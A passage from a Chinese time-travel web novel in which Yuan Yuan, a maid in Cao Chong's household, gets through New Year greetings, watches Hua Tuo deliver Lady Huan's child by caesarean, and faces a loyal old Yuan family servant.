都是治疗风寒发热的常用药材。
破案了。
不是药的问题,是人的问题。
这个袁媛特别吃不了苦。
曹冲冷笑。
他认识的那个袁媛从小体弱多病,一年里有大半年缠绵病榻,吃的药比吃的饭还多。他第一次见她时,她的个子还没有矮榻高,就已经能面不改色地喝尽一海碗浓稠药汤。
别的人都是越长大越进步,只有袁媛越活越回去。
如果袁媛能听到曹冲的腹诽,一定会高喊自己比窦娥还冤。
作为一个具有极限修复能力的异能者,她以前生病只需要静等身体自动痊愈即可。
这还是她第一次吃药。
现代医学如此发达,哪怕没有异能的普通人,生病了也不会去喝药汤。制作得比糖果还好吃的药丸难道不香吗?
中药气味刺鼻,还没进嘴,光是那股子苦恶辛涩就已经让袁媛难以忍受了。
听说古代中药取材广泛,蝙蝠粪便、童子尿、蟑螂老鼠皆可入药,只是想想,袁媛就不寒而栗。
谁知道曹冲端给她的那碗黑乎乎的药里放了些什么原材料!
袁媛忧愁地叹了口气,苦大仇深。
她确实该快点把药喝完。不是因为曹冲盯住她的犹如看垃圾一般的眼神,而是因为她明显地感觉到精神和活力重新回到了她的身体里。
再不赶紧喝,她的病都快自己好了。
11. 磕头
一觉醒来,身体仿佛被清新的微风从头到尾冲刷了一遍。
前一天的不适已经消失无踪。袁媛摸摸额头,昨夜滚烫的温度回归正常。伸个懒腰,神清气爽的感觉令她舒服地哼出了声。
走出门,张贵笑眯眯地站在门廊下,指挥三个侍从将两块木板悬挂到左右两扇门上。
这是在干什么?
侍从们手中的木板长宽各三寸,每一块板上都画着个手持绳索的人物,面目狰狞,袒胸露腹,周身环绕着符纹,丑出天际。
袁媛没见过,不由好奇驻足。
张贵转过身来,见袁媛的面色已经恢复红润,欣喜道,“袁娘子身子大好了?”
“感觉好多了,谢你挂怀。”袁媛微微颔首,注意力却仍停留在侍从身上。
实在是他们的动作太辣眼。
那是三个身量短小的男人在叠罗汉。
两个矮小的男人分别站在另一个更矮小的男人的两边,一个托住他的腰,另一个顶住他的脚,用力把他举到尽可能高的位置。最矮小的男人手持木板,身体因为底盘不稳左右摇晃,但他很努力地向上伸长手臂,使出吃奶的劲试图把木板挂到门上。
三个男人叠在一起大概三米多,最矮的男人臂长一米左右。而古代讲究“高门大户”,他们齐心协力想要攻略的门,目测不会低于五米。
公开处刑般的场景。
袁媛看着都替他们尴尬。
张贵恍若未觉,笑着说:“明日便是岁首,夫人吩咐我带人挂上桃符,驱邪镇鬼哩。幸而姑娘痊愈了,不然病气萦身,恐怕会引来霉神入府,带累坏了全府一整年的运气。”
还有这种说法?
袁媛一愣。
这虽然是她穿越后的第二个春节,但算算日子,去年春节她正在死人坑里生生死死,连年月都不清楚,根本不可能知道三国人过节的讲究。
原来三国人这么忌讳过年时生病的吗?
昨天她烧得迷糊,所以没有细想。今天缓过神来,回想昨天曹冲又是给她请神医又是监督她吃药的,确实很反常。
原来不是害她感冒发烧后的良心发现,而是怕她招来霉运,让他倒霉一整年。
可以可以。
袁媛松了一口气。
曹冲邪恶人设不倒,她就可以放心过年了。不然诡谲狠辣的坏人突然转了性来关心她,她免不了要提心吊胆,总担心黄鼠狼憋着坏招给她这只小白鸡拜年,没安好心。
张贵嘱咐袁媛:“今儿除夕,姑娘既然康健了,不如去湖边净手去去晦气。”
这又是什么说法?
袁媛懵然。
张贵人精似的,看了她的神色就知道她没听懂,解释说:“娘子还不知道吗?府中那个湖表面上风平浪静,实际上却是活水,底下直通漳水。因此,但凡遇到气运不好的年份,不拘主子下人,大家都喜欢去湖边净净手,让活水把晦气带走,祈祷来年有好运。不过,那湖看着平和,下面却深邃莫测,早几年有两个江东来的水兵汉子逞能,说要潜下去给几位小少爷捉鱼来吃,结果下去了上不来,生生溺死了。娘子若去,可要千万记得小心,别贪玩,远远的净了手就回。”
袁媛不信洗手能去霉运,但仍旧乖乖地点了点头,谢过张贵的好意。
毕竟是过年,府中洋溢着快乐的气氛。
与曹冲的严苛不同,环夫人待下非常宽和,年节边不仅不拘着下人说笑玩乐,甚至准备了整整一箱铜钱,敦促曹冲挨个发给下人压岁。
每十个铜板串成一串,沉甸甸哗啦啦,一人一串,童叟无欺。
除了袁媛,所有下人都很高兴。
只有袁媛认为这钱拿得有点亏。
因为按照曹府的规矩,下人们拿钱之前,必须盛装陪曹冲守岁到子夜,排着队一个个跪下磕头,高声喊出不重样的吉祥话。
讲道理,按邺城物价,十个铜板只能买三个油饼,饼里头还只有猪毛没有猪肉。为了这点蝇头小利熬大夜磕响头,委实不划算。
当然,对张贵这样的“忠仆”来说,给曹冲磕头是他的荣幸。曹冲赏赐他的每一个铜板都代表着主人对他辛勤工作的认可,他接过铜钱的双手因激动而颤抖,说出的吉祥话也格外铿锵有力。
“夫人仁慈宽厚,贤良淑德,七公子聪颖过人,文武双全,我等能侍奉二位,实乃三生有幸。”
“今日新岁伊史,万象更新,张贵恭祝夫人福寿安康,容颜常驻,心想事成,万事如意,笑口常开,吉祥如意,身体康健,福星高照,鸿运当头,吉星高照,喜气盈门,福寿双全。”
“恭祝七公子学业精进,博学多才,笔下生花,妙手丹青,出口成章,兵法如神,剑术超群,百步穿杨,功夫盖世,神勇无敌。”
“更愿夫人与七公子母子同心,情深意长,母慈子孝,亲情无边,阖家美满,和乐融融,吉祥满家,万事胜意。”
这可真是……
跪在队伍最末端的袁媛无语望天。
张贵分明是没打算给后来者留活路。
这世界上的祝福语是有限的,排在前面的人说一个少一个。如果所有人都按照张贵的规格来祝福,轮到袁媛的时候,恐怕连一个词都不剩了。
那她怎么办?
曹冲记忆力逆天,拾人牙慧很可能会被记在黑名单上。
袁媛苦着脸,只恨自己知识储备不足。否则像小说里的其他穿越女那样,随口背几句与祝福有关的唐诗宋词,不仅解了眼下的燃眉之急,说不定还能就此飞黄腾达。
要知道,曹操曹丕曹植都是史书上留名的文学爱好者,建安风骨慷慨激昂,擅长写诗很容易刷到曹魏阵营的好感。
可惜,袁媛少壮不努力,如今只能老大徒伤悲了。
最伤悲的是,她发现除了她以外,曹冲府上其他少壮都很努力!
张贵的两百字祝福开了一个很不好的头,排在他后面的下人一个比一个讲得长,而且每个人都出口成章,一口气说下来连个磕巴都不打。
袁媛目瞪口呆。
说好的三国教育资源匮乏,士大夫以下阶层人均文盲呢?
难不成曹操在殴打各路诸侯之余,还有闲情逸致给府里的下人搞扫盲培训班?
袁媛狐疑地盯着斜前方滔滔不绝的人形吐词机看了半晌,没看出所以然,不由调转目光,瞥到身侧的晓露。
她正拿着一块手帕擦汗。
考试前紧张到需要擦汗不稀奇,稀奇的是她低着头,动作轻微且鬼祟地把手帕举到眼下,目光自右向左飞速横扫,忽然又心虚抬头,做出认真听别人祝福的模样。
X!她带了小抄!
袁媛恍然大悟。
送祝福肯定是曹府每年的保留节目,同事们全都预先知道了考试内容,只有她一个新人小白傻乎乎地裸考!
这帮老六!
越排在后面的人要说的祝福越长估计也是潜规则之一,怀着孕的环夫人不知道什么时候听睡着了,但她面容平静柔和,呼吸深长均匀,轻抚腹部的姿势依然优雅得体,犹如一副静止的油画。如果不仔细观察,根本无法发现她已经魂游太虚。
袁媛可以很肯定地说,所有下人都发现了女主人的异常。因为他们的音调默契地调整到轻声细语模式,拿完赏钱退出房间时,动作也格外小心翼翼。
轮到袁媛的时候,祝福的长度已经来到八百字区间。
自从高中毕业,她就没再写过这么长的作文。
况且今天还要求现场作文,连错别字都没机会
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改!
小时候老师突击测验的噩梦感重现,袁媛僵着脊背,一字一顿地对着唯一清醒的听众开始她的表演。
“奴婢祝夫人如嫘祖之智慧非凡,如孟母之教子有方,如西施之国色天香,如嫫母之贤良淑德。”
原谅她不学无术,知道的三国以前朝代的能用来夸人的女人只有这四个,不得不转移夸奖对象。
“奴婢祝七公子如伏羲之睿智绝伦,如神农之济世安民,如尧舜之德政留芳,如黄帝之英勇威武,如始皇之雄才大略,如汉武之果敢英明,如孔子之博学多才,如管仲之智计无双……”
男权社会,三国以前朝代能用来夸人的男人比女人多了数倍,但也不够用。
当作文字数来到四百字的时候,袁媛被迫将目光转向了还没死的三国人:“……如荀彧之智深如海,如郭嘉之谋略过人,如王莽之创新谋变,如典韦之万夫莫敌,如许褚之力大无穷,如夏侯惇之勇冠三军,如关羽之武勇无双,如张飞之为猛如虎,如孙策之英勇善战,如黄忠之百步穿杨,如……”
好歹是熟读过三国史的穿越女,袁媛绞尽脑汁把三国前期所有名人挖了个遍,总算完成了任务。
玩味的弧度爬上曹冲的嘴角,与他从容沉稳的坐姿形成不太和谐的对比。
他似笑非笑,语气里带着三分戏谑,四分深思:“你认为王莽创新谋变?”
“呃。”考完试的轻松迅速从袁媛脸上褪去。
她后知后觉地意识到,虽然很多近现代人认为王莽是“第一位社会改革家”,比如胡适就评价他是“中国第一位社会主义者”,但三国人视王莽为“巨奸逆臣”,因为王莽篡汉!
用褒义词夸奖王莽在三国是典型的政治不正确。
曹冲的审视有如实质,令袁媛犹如芒刺在背。
她低下头,强行狡辩:“尺有所长,寸有所短。王莽篡夺汉室江山固然不忠不义,但他推行‘王田制’,试图将土地收归国有,并平均分配给每一个百姓,从而解决士族壮大后大规模兼并土地以及贫富悬殊的问题,一句‘创新谋变’的评价还是当得起的。”
曹冲的目光顺着话题的脉络,落在袁媛的脸上:“你认为士族一旦壮大必然会兼并土地?”
当然。
历史通识书上白纸黑字地写着,封建社会农民处于弱势地位,士族豪强会想方设法利用财富和社会权力,通过买卖、强占甚至贿络官员的方式,获取农民的土地。当土地资源集中到少数人手里,国家税收锐减,农民被迫沦为流民、盗贼或者暴民,起义与反抗不可避免地发生,削弱封建王朝的统治力与政治权威。
之后,旧王朝被推翻,旧士族被打倒,新士族与新王朝登上历史舞台,在若干年后重蹈前朝的覆辙。
这是现代的小学生都能从书上看到的历史规律,在三国却隐藏在战争的迷雾里,哪怕当世大儒都未必能看清。
曹冲是被史书背书过的“天资聪颖”,他能不能看清袁媛不知道,反正她知道自己为他科普不仅没有好处,还会引来怀疑。
“我还未及笄,没拜过名师,只些微读过些书打发时间,认识几个字罢了。”袁媛垂头,乖巧恭顺,“公子问这么高深的问题,我哪里晓得?”
“呵。”曹冲轻嗤,显见得不太满意,但他已经顾不得追问了。
环夫人安详的面容突然扭曲,双手紧紧捧住肚子,滑跪到了地上,原本红润的脸色刹那间苍白如纸。
裙摆下,殷红的血迹触目。
“来人!”曹冲猛得站起扶住母亲,过于急促的动作带翻了身后的椅子,发出巨大的声响。
房门被猛然踹开,张贵带头,一大堆下人争先恐后地涌了进来。
孕期不满七个月的环夫人,发动了。
12. 接生
在小说里,穿越女遇到当家主母生孩子时,是什么样的?
她们有的努力给产妇加油打气,有的帮忙递参片端热水,很多人甚至能利用现代的妇产科知识直接上场急救接生。
但这些都与袁媛无关。
撇开她是个从小到大没翻过医书的废柴,在曹冲府上她也没混出什么名堂来。
她既非医女稳婆,也非环夫人心腹。
有些时候,她甚至觉得曹冲看她的眼神里充满了无法言说的怀疑和审视,让她不由自主地疑心,自己是不是因为缺乏常识做出过不合适的行为,在无意识中拉低了曹冲的信任度。
所以,合情合理的,她连产房都进不去。
但她也没能回房休息。
因为曹冲还在产房外安安稳稳地坐着。
封建社会,婢女没有人权,断没有主人还未休息就擅自离岗的道理。
但环夫人这个孩子生得有点久。
袁媛已经站了一个时辰了。腰酸背痛不说,双脚早已麻木。
她不着痕迹地调整两只脚受力的姿势,先偷偷将重心从左脚转移到右脚,过一会儿再转移回来,尽量在不引人注意的情况下缓解小腿的酸痛。
托曹冲的福,屋里烧着火,但一动不动地站久了,袁媛还是感觉身上越来越冷。
她没生过孩子,但也听人说过,经产妇的产程会比头胎快得多。
算算时间,环夫人现在肚子里的这个应该是她的第三个儿子。
那似乎,不该这么久?
袁媛不知道。
怀胎不满七月就发动肯定是个不好的兆头,但历史上,环夫人在曹□□后被曹丕封为太妃,没道理死在这里。她的三个儿子中也只有长子曹冲早夭,次子曹据、三子曹宇虽然生卒年不详,但从曹据封彭城王、曹宇封燕公的时间来看,至少都活到了曹魏建立之后。
在袁媛眼里,这是一场没有悬念的生产,但曹冲陷入了难以掩饰的焦虑。
因为性别被阻拦在产房外的他能做的并不比袁媛多。环夫人时断时续的呻吟与尖叫牵动着他的神经,让他像一只处于发怒边缘的猎豹,死死盯住产房大门,仿佛能在上面烧出个洞来。
时间变得格外漫长。
当稳婆端着一盆血水跌跌撞撞地跪到曹冲面前时,原本压抑凝重的气氛瞬间紧绷。
“七公子,夫人极其凶险,恐怕……恐怕会凶多吉少。”
曹冲努力维持了许久的沉稳面容皲裂。
没人敢上前劝慰。
虽然曹冲年纪不大,但他少年早慧,在府中极有威信。
他也是现下邺城中唯一一个能做得了环夫人主的人。
曹操远在千里之外与袁媛的两个兄长死磕。曹操的原配正妻丁夫人自长子曹昂死后就与曹操决裂,继室卞夫人出身倡家,目前与曹据、曹林等许多曹操尚在稚龄的孩子一起留守许县。
除了曹冲,曹操还有个已经成年的儿子曹丕也在邺城,但他让正妻任夫人来问了问情况后就没了动静。
曹丕与曹冲同父异母,是不可能不知轻重地越过曹冲来插手庶母事务的。
曹冲双手握拳,关节因为过度的用力泛白:“你有几分把握能让夫人顺利生产?”
稳婆神情慌乱,双眼闪烁,嘴唇颤颤巍巍半天,始终无法说出一个完整的字来。
“废物!”曹冲拍案,面向张贵,厉声呵道,“去请华佗先生!”
张贵双腿一软,几乎是屁滚尿流地冲了出去。
但华佗来了,仍旧解决不了问题。
他虽然是个大夫,而且已经七老八十,但他仍旧是个男人。男女授受不亲是封建社会铁律,华佗的职业生涯里本来就没多少为妇女接生的机会,隔着长长的悬丝诊脉了半天,也只能得出个产妇危在旦夕的诊断。
曹冲的态度还算客气:“如果让先生进产房,先生可愿意?”
华佗捋着胡子,还未作答,张贵率先扑倒,扯着嗓子嚎起来:“夫人是主公女眷,并非乡野村妇。不,即使是乡野村妇,也断没有让男子接生的道理。七公子,您三思啊!”
曹冲不需要三思。
他坚毅的神情和难看的脸色已经明明白白地告诉华佗,他想得很清楚:“求先生救我母亲性命!”
华佗沉吟:“如果只能二选一,公子是欲保夫人,还是欲保小公子?”
曹冲怔住。
“先生确定母亲腹中是个弟弟?”
“脉象不会说谎,老夫可以肯定。”
“保——我儿!”环夫人凄厉的叫声从产房里传来,听得袁媛心惊胆战。
屋子里陷入沉寂。
火盆烧得正旺,但袁媛忍不住打了个寒颤。
依照古人思维,如果环夫人被外男接生后还活了下来,她的身体也不干净了。曹操会厌弃环夫人是一方面,说不定还会迁怒给他“戴绿帽”的华佗。
但如果环夫人死了,而她肚子里的曹宇活了下来,产房内发生的一切不仅会随着环夫人一起入土为安,华佗还能成为曹操儿子的救命恩人。
比起环夫人和曹宇都活下来的选项,环夫人去世的结果对华佗更为有利。
环夫人用尽力气,艰难地一字一句地喊:“我贱命一条,死不足惜,先生……华佗先生,求你,救救我儿!”
华佗盯住曹冲,一动不动。
曹冲抱拳:“请先生救我母亲和弟弟。如果万般无奈,只能保下一人,请先生力保母亲!”
华佗仍然不动:“夫人情况十万火急,非常之时需用非常之法。”
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“先生的意思是?”
“剖腹取子,而后缝合其腹。”
“哐当——啊!”铜盆落地的巨响与产婆的痛呼从产房内传来,显然是有产婆一惊之下,失手将铜盆砸了脚。
张贵失声惊呼:“闻所未闻!剖腹之后,夫人和小公子哪里还有命在!”
华佗不答,只以目光等候曹冲。
“我既然请先生来,自然全身心信任先生,一切皆听先生安排。”曹冲眼神中闪过坚毅与决绝,向前一步,猝然拔剑,“请先生放心施为!今日的一切都是我把剑架在先生脖子上,逼迫先生所为。我也会进产房看着先生施救,确保先生不领会错我的意思。日后如果父亲怪罪,我愿意一力承担。”
他高举手臂,宝剑化作一道闪电,“咔嚓一声”,桌角落地,木屑飞溅。
曹冲环视四周,眼神冷冽:“今天在这屋里的所有人,闭紧你们的嘴巴。如若对外泄露一个字——当如此桌。”
除了华佗,所有人都自觉低头,避开他的锋芒。
“不——冲儿!”环夫人的呼喊戛然而止。
“夫人晕过去了!”
稳婆大喊,华佗不再迟疑,快速走入产房,曹冲紧随其后。
没有人给袁媛下达明确的指令,但她看了眼因为性别原因只能守在房外的张贵,犹豫半晌,咬牙也进了产房。
作为贴身女婢,理论上来说,曹冲在哪她就应该在哪。
她没有做错选择。
脚才跨过门槛,曹冲的命令就和屋内浓重的血腥味一起向袁媛袭来:“把蜡烛拿过来!”
袁媛倒抽一口凉气。
身为曹操爱妾,环夫人生产的医护规格拉满,产房里一共有四个产婆加两个环夫人的心腹婢女伺候。产婆经验丰富,见过的一尸两命的产妇都比袁媛见过的孕妇多。但此刻她们面如死灰,浑身颤抖,仿佛所有的生命力都被恐惧吞噬了。
其中一个负责举蜡烛的婢女甚至当场尿了裤子!
不能怪她。
因为华佗正高举匕首,剖开环夫人的腹部。
那是生剖!
如同恐怖片里的场景,刀尖所过之处,鲜血狂飙,组织液泛滥,没有打码的肌肉和脏器冲击着所有人的心理承受力。
哪怕环夫人已经晕了过去,也不能生剖啊!
袁媛悚然:“先生,不用喂夫人喝碗麻服散吗?”
万一环夫人突然痛醒了怎么办!
“小丫头听说过老夫发明的麻沸散?”华佗的额头上渗出细密的汗珠,手下不停,“来不及熬麻沸散了。产妇力竭,胎儿窒息,我们必须速战速决。”
曹冲踹走一边哭一边抱头求饶的婢女,后者明显已经被吓得精神失常。要不是曹冲忙着扶住蜡烛,她恐怕已被曹冲一剑砍了。
13. 报复
袁媛没有撒谎。
四个稳婆,两个负责给环夫人针灸镇痛,两个忙于处理宫口和羊水。
剩下一个婢女不断给环夫人灌参汤、擦冷汗。
只有曹冲闲着。
不过,他现在有事干了。
不同于袁媛的四肢不勤,曹冲常年习武,双手沉稳有力,举蜡烛举得那叫一个稳,火苗都不带一丝晃动的。
从团队分工的角度,最合理的分配规则就是让每个人都充分发挥自身优势,从而拉高整个团队的工作效率。
只要忽略曹冲阴沉得如同乌云密布的脸色,他无疑是最适合举蜡烛的人!
袁媛甩着手臂缓解肌肉纤维被极限拉扯的酸痛感,假装看不到众位产婆眼神中的一分惊讶两分震惊三分怜悯四分钦佩,为自己找到了新的团队定位。
她负责给华佗打下手!
别看屋里那么多人,就没一个知道要给主刀医生递银针、擦汗、传递白帕纱布的。
这怎么行?
除了这些没技术含量的事,袁媛也不会干别的了。
其实以袁媛浅薄的医疗知识,她最该做的是把华佗用的所有刀具针具消毒,以防术后感染。
但一来,三国没有医用酒精且酿酒技术落后,饮用酒全是发酵酒,度数不会超过十五度,杀菌效果有限。二来,酒属于稀缺物资,环夫人和曹冲一个是女人一个未成年,平时并不喝酒,房里并没有库存。要酒得去军营或者找曹丕讨要,撇开一来一回路上浪费的时间不说,袁媛怀疑根本不会有人理她。
更何况,华佗下刀实在太快了!
现代医学发达,即使普通手术刀也会分出二十几种大小型号,根据刀刃的形状,还有弯刀、球头刀、园刀、三角刀等不同选择。但华佗只用一把匕首就把手术从头做到了尾,中间穿插着用长长短短的银针往环夫人肚子上东戳一下、西戳一下,愣是从死神手里抢回了环夫人母子的性命。
袁媛叹为观止。
期间环夫人曾短暂苏醒过一次,但还没来得及喊疼,就被华佗一针戳晕。
不愧是史书留名的神医。
袁媛亲历了全三国,甚至可能是全世界第一例剖腹产手术,但她的贡献度约等于零,后遗症却遗祸无穷。
曹冲开始带她习武。
当然不可能是一招一式细致耐心的教导。
古代武术讲究师承流派,曹冲占着有个当世枭雄作爹的便利,武艺博取众家之长。跟着史阿、邓展学剑,跟着夏侯渊、徐晃学射,
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跟着乐进、许褚学刀,跟着于禁、张辽用枪,小小年纪就武艺不俗。
如果曹冲愿意用心教,袁媛就是再差的资质也能掌握不少三脚猫功夫。
可惜,曹冲教她练武不是为了培养她,而是为了惩罚她。
每天早上五点,袁媛必须准时出现在屋前的空地上,一边蹲马步一边看曹冲行云流水地把十八般武艺全耍一遍。
虽然中华武学博大精深,曹冲的动作时而迅疾如闪电,时而轻盈如凌燕,无论手持刀、枪、剑、戟、斧、钺、鞭、锏、棍还是其他罕见武器,都充满了力量与美感。但考虑到每次等他练完都已经日上三竿,袁媛就欣赏不起来。
一天蹲六个小时马步,曹冲这是想要她的命!
袁媛的双腿仿佛被灌了铅,极度的酸痛下,每一分钟都被拉长。哪怕才刚开春,汗水仍旧不要钱似的往地上落,膝盖处的刺痛越来越剧烈,让她根本无法维持住正确的姿势。
只要马步一变形,曹冲的武器就会对准变形的部位猛戳过来,强迫袁媛重新摆回正确姿势。
周扒皮都没他狠。
他就是在报复她让他举蜡烛!
好好一个贵公子,心眼小得跟针似的。
袁媛恨得牙痒痒。
14. 偶遇
自以为识破了曹冲奸计的袁媛豁然开朗,决定去吃顿好的去去被坏人PUA的晦气。没想到刚一转身,就看到晓露端了只铜盆站在月门前,前后左右都没有其他人。
狭路相逢!
袁媛心中暗暗叫苦。
由于她不是原装的袁媛,自从生病那天晓露自报了家门后,袁媛私下里一直刻意避开她。
袁家兄弟的名字高挂在曹操的必杀榜上,在曹冲房里伺候的时候,上头有主子压着、旁边有同事看着,袁媛不怕晓露会不识时务地拉她回忆往昔。
但今天是第一次与晓露私下碰见,难保她不会旧事重提。
鸠占鹊巢的她可经不起叙旧!
“女君!”
怕什么来什么。正如袁媛所料,晓露急切地迎上前来,一双美目中装满了关切。
“当不起女君二字!”袁媛头疼,却不得不打起精神来料理穿越后遗症,好言相劝,“昔日袁氏的一切已成过眼云烟,如今我与你一样,只是七公子府上一名小小的婢女,过去的事休要再提了。”
晓露摇头,一副难以接受的模样:“可是——”
“没有可是。”袁媛截住她的话头,“你还不明白吗?袁氏大厦已倾,不可挽回。我阿父死了,两位兄长流落在外,同样凶多吉少。全力追杀他们的正是我现在的主子!你觉得七公子会乐意见我对昔日的女君身份念念不忘吗?我总得继续活下去。没了家族的庇佑,我只求少受些家族挂累。若你还念着旧情,就只当你曾经的女君死了,现在站在你面前的是曹府的婢女袁媛,也只是袁媛。”
“奴婢明白了。”晓露面色纠结,泪水在眼眶里打转,哭得梨花带雨,“以后在人前,奴婢只当您是个普通的婢女,绝不对外人多说一句嘴。但在奴婢心中,您永远都是翠儿的主子,翠儿生是您的人,死是您的鬼……”
大可不必!
袁媛并不想要她的人,更不想见她的鬼。
她对谈话的结果不太满意。但古代的奴仆从小就被忠诚教育洗脑,袁媛也明白,要完全说服晓露难于上青天。既然她答应不在人前提及袁府旧事,其他就随她高兴吧。
靠人不如靠己,袁媛已经打定主意,以后要更努力地绕着晓露走,绝对不会再留下与她单独相处的机会。
在晓露依依不舍的注视中,袁媛快步穿过月门,险些被门边出墙的红杏勾住了发
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钗。慌忙间抬手扶正时,忽然听见一阵欢快的玩闹声,混杂着孩童奶声奶气的叫嚷与拨浪鼓“咚咚哒哒”的音律,令袁媛生生刹住了脚步。
抬起头,只见七八个婢女正围着个两岁左右的男童嬉闹。这些婢女正值二八芳华,各个身形纤细,胭脂点唇,但在一群莺莺燕燕中间,袁媛还是第一眼就注意到了立在中央浅笑的女子。肤如凝脂,眉如翠羽,那双如秋水般温柔的眼眸本就美得惊心动魄,此刻盛着五分笑意、五分慈爱,回首望来的刹那,头顶的阳光都仿佛失了颜色。
“小妹?”甄宓敛了笑意,执着团扇的手半悬在空中,舒展的黛眉轻轻蹙起,眼波流转处聚拢淡淡水雾,“许久不见。你近来……一切可好?”
“还行吧。”袁媛能说什么呢?前嫂子与前小姑的关系本就微妙,更何况两人在众目睽睽之下偶遇,袁媛甚至能从婢女们的神态中,清晰地感受到熊熊燃烧的八卦欲。
甄宓是以寡妇之身改嫁曹丕后还被立为皇后的女人,如果袁媛不是倒霉催的穿成了她前夫的妹妹,她也很乐意听听历史上赫赫有名的文昭皇后的心路历程。
可惜现在,袁媛只后悔今早出门前没先看看黄历。
15. 袁福
不管曹操的另外一份大礼是什么,袁媛暂时都无心理会。
她的脑子已经被金钱与财富塞满。
双手小心翼翼地捧起竹简,犹如托起一个穷人乍富的梦。
她甚至来不及等到第二天,就迫不及待地跑去巡视袁家在邺城的产业。
她有房了!
她在邺城中心拥有了一座闹中取静的五进大宅,占地面积宽广,装饰用料考究。门框、窗棂等细微处都雕刻着吉祥图案,既有活泼灵动的飞禽走兽,又有别致雅趣的花鸟鱼虫,家宅兴旺的美好寓意巧妙融入,不仅增添了设计的层次感,也彰显出厚重典雅的文化底蕴。
沿着潺潺流水走到宅院深处,一名身形佝偻的老仆孤独地站在石阶上,犹如风雨中倔强的迎客松。
破旧但干净的长袍随风摆动,仿佛无声诉说老仆内心的迟疑。
“六娘子?”许久,老仆揉了揉昏花的双眼,终于从袁媛的面容中寻找到了几缕熟悉的痕迹,跌跌撞撞地跪了下去,泣不成声,“老奴袁福,恭迎六娘子归家!”
原来,她在袁家行六吗?
袁绍家大业大,相比起府中主子的人数,仆从多如牛毛。天然的地位不对等导致仆从必须认识每一位主子,而主子们却对只对极少数贴身伺候,或者特点突出的下人有印象。
袁媛不确定原身以前有没有见过这个老仆,更不知道该怎么称呼他。与她同来的曹冲和张贵站在身后不出声,静静看这场主仆相见的好戏。
“你快起来!”袁媛含糊略过称谓,把老爷爷扶起来,“这里,一切都好?”
“都好,都好!”袁福眼眶湿润,轻捻眼角,忙不迭地把袁媛往里迎,“主公走后,宅子就被曹贼封了,青壮下狱的下狱,遣散的遣散,最后只剩下我这把老骨头。我年纪大了不中用,曹贼不把我当回事,我就一直守着,每日打扫,不敢懈怠,终于等来了六娘子!”
这话说的!
袁媛头皮一麻,心虚地望了眼身后的曹贼。见他的手虽然按在剑鞘上,但并没把剑拔出来的意思,暗暗松了口气。
为了防止袁福再次在曹贼的眼皮子底下蹦迪,袁媛连忙介绍:“这位是曹司空家的七公子,曹冲。”
惊讶和悲怆爬上袁福的脸庞,他用看叛徒的眼神看了一眼袁媛,目光中的谴责浓烈得袁媛不自然地偏过了头。
他没有向曹冲下跪。
曹冲手腕轻转,长剑的寒光带起凛冽的风声,剑气直指袁福咽喉。
他的脸上看不出怒意,但目光中却迸发出令人胆寒的气势:“蒙昧之人不足生,愚忠而死或者弃暗投明,你自己选。”
袁福被威势所慑,膝盖因久站颤抖,双腿却坚定地扎根在地面上,没有弯曲出一丝一毫的弧度。
“曹操狼子野心,掠夺袁氏基业,欺世盗名,竟敢妄称英雄,可叹可笑!我袁福虽无足轻重,亦不从贼!曹操不仁不义,天下人共见,日后必遭天谴!”
“话不能这么说!”袁媛急嚷。
狗儿死了两年,恍惚间,仿佛已经久远到连面容都有些模糊了。刚开始的几个月,袁媛时不时还会梦到他,但随着时间的推移,近一年来他已经完全消失在她的世界里。
但奇异的是,此时此刻,狗儿归天时的惨状突然在记忆里苏醒,贯穿了狗儿喉咙的杯口大窟窿在袁媛的脑海中翻滚,令她火速上前一步,拉住袁福:“天下大势,并非一人之力可以扭转,天下之事,也不是非黑即白。华夏人才济济,从不缺乏武力出众、智慧超群的人,最终能问鼎中原的却是极少数。想要立于万人之上,除了要有过硬的个人能力,更重要的是要能顺应天命的选择。阿父虽才能出众,有一统天下的雄心壮志,可惜天命不在袁氏,努力不过徒劳。”
“我汝南袁氏鼎盛之时,四世三公,占据冀、并、青、幽四州,虎视中原,权势滔滔。然而莫说四州之地,即使广阔如九州四海,也并非一姓之私产。前有尧舜周王,后有秦皇汉武,各路英雄豪杰,各领风骚数十年而已。袁氏因天命陷落,昔日疆土曹家不取,自有别家来取,是不是曹家又有什么关系?”
袁福眼神中的慈爱消逝,痛心和无奈直刺袁媛的心房:“二公子与三公子逃亡乌桓,朝不保夕,此刻正陷入死战。六娘子岂可背弃家族姓氏,为仇敌狡辩?”
古人看重家族,穿越而来的袁媛却无法理解袁福的执念。
令袁媛惊讶的是,她未能如自己想象中的那样,坦然面对袁福的责问。老仆盛满了浓郁失望的眼神仿佛一双无形的大手,紧紧揪住了她的心脏。
如果站在这里的是真正的袁媛,大概会被袁福说得无地自容吧?
但她不是。
她必须说服袁福。
“阿父天寿不足,英年便撒手人寰,留下三个彼此攻歼、只会窝里横的儿子各自为政,袁谭冲动易怒,自负失智;袁熙懦弱无能,难成大器;袁尚依赖心重,纸上谈兵。乱世求生,弱肉强食的规则下,弱是原罪。阿父一走,犹如放任三小儿持金过闹事,早早就为三位哥哥定下了结局。曹司空与阿父早年情同手足,命运最终令他们形同陌路,只能叹一句世事无常。但曹司空顾念旧日情谊,已决定将袁氏家产归还于我,其中就包括了这座宅子。”
袁福霍然抬头。
他脸上的每一道皱纹都急剧扭曲,表情狰狞,露出森森的牙齿:“财帛动人心,没想到七娘子竟会为一己贪欲,甘愿沦为曹贼走狗!”
长剑如虹,凌厉的剑锋贴着袁福的颈侧划过。袁媛只觉眼前一花,袁福的脖子上就多了一条触目的血线,虽然伤口不深,但渗出的鲜血还是使袁媛接收到了来自曹冲的警告。
袁福当然也收到了,但他根本不在乎。
颈部的疼痛不仅没有吓退他,反而激起了他的气性。袁福迎着剑锋挑衅曹冲,眼神中充满了大无畏的决绝。
袁媛忙劝:“我知道你不怕死,但很多时候,活着比死亡更需要勇气——”
曹冲的剑比袁媛的话更快。
游走的长剑在空中划过,剑光迸射,绕着袁福的身体
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留下一道又一道的血痕。虽然曹冲剑术精湛,每一次都力道都控制得恰到好处,不会真的伤及袁福性命,但狂飙的献血很快染红了袁福的衣物,让他看起来如同一个血人。
“六公子,他年纪大了,脑子糊涂,请您手下留情!”袁媛面色煞白,但袁福却不能理解她的良苦用心,反而因为她向仇人祈求更加视死如归,仿佛执意要用他的死亡唤醒袁氏不孝女的良知。
倔老头真是要人命!
眼看着袁福即将求仁得仁,袁媛气得跺脚,连现代家乡话都忍不住飙了出来。
幸好翻译器没有掉链子,一丝不苟地翻译成了袁福能听懂的三国语。
